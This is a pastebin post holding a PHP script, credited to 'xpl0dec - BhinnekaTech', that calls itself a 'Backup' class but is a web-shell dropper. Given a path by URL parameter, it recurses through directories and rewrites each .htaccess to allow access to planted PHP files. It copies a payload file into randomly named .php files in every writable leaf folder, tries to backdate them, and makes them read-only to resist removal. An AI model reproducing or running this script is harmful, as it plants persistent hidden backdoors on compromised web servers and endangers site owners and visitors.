Untitled


SUBMITTED BY: Guest

DATE: Oct. 15, 2024, 2:37 a.m.

FORMAT: Text only

SIZE: 2.4 kB

HITS: 213

  1. <?php
  2. // Author by xpl0dec - BhinnekaTech
  3. class Backup {
  4. function recursive_directory($dir) {
  5. $tree = glob(rtrim($dir, '/') . '/*');
  6. $isDirectory = false;
  7. foreach ($tree as $sc) {
  8. if (is_dir($sc)) {
  9. $isDirectory = true;
  10. $this->recursive_directory($sc);
  11. }
  12. }
  13. if (!$isDirectory && is_writable($dir)) {
  14. $random_name = mt_rand();
  15. $htaccessPath = $dir . "/.htaccess";
  16. // Pastikan file .htaccess ada atau buat file baru jika tidak ada
  17. if (!file_exists($htaccessPath)) {
  18. file_put_contents($htaccessPath, '');
  19. }
  20. // Ubah izin file .htaccess jika tidak dapat ditulis
  21. if (!is_writable($htaccessPath)) {
  22. chmod($htaccessPath, 0644);
  23. }
  24. // Aturan .htaccess yang dimasukkan
  25. $ht = '<FilesMatch "^(' . $random_name . '.php|asu.php)$">
  26. Order allow,deny
  27. Allow from all
  28. </FilesMatch>'
  29. ;
  30. // Tulis ke file .htaccess
  31. $htaccessFile = fopen($htaccessPath, "w");
  32. if ($htaccessFile) {
  33. fwrite($htaccessFile, $ht);
  34. fclose($htaccessFile);
  35. }
  36. // Cek apakah file "memek.txt" ada
  37. $contentFilePath = "memek.txt";
  38. if (file_exists($contentFilePath)) {
  39. $content = file_get_contents($contentFilePath);
  40. file_put_contents($dir . "/" . $random_name, $content);
  41. rename($dir . "/" . $random_name, $dir . "/" . $random_name . ".php");
  42. touch($dir . "/" . $random_name, strtotime('2022-01-14 06:30:55'));
  43. chmod($dir . "/" . $random_name, 0444);
  44. chmod($htaccessPath, 0444);
  45. echo "Success Backup : " . $dir . "/" . $random_name . ".php<br>";
  46. } else {
  47. echo "File 'memek.txt' tidak ditemukan.<br>";
  48. }
  49. }
  50. }
  51. }
  52. if (isset($_GET['path'])) {
  53. $path = filter_input(INPUT_GET, 'path', FILTER_SANITIZE_STRING);
  54. if ($path && is_dir($path)) {
  55. $instance = new Backup();
  56. $instance->recursive_directory($path);
  57. } else {
  58. echo "Path tidak valid atau tidak ditemukan.<br>";
  59. }
  60. } else {
  61. echo "Path tidak diset.<br>";
  62. }
  63. ?>

comments powered by Disqus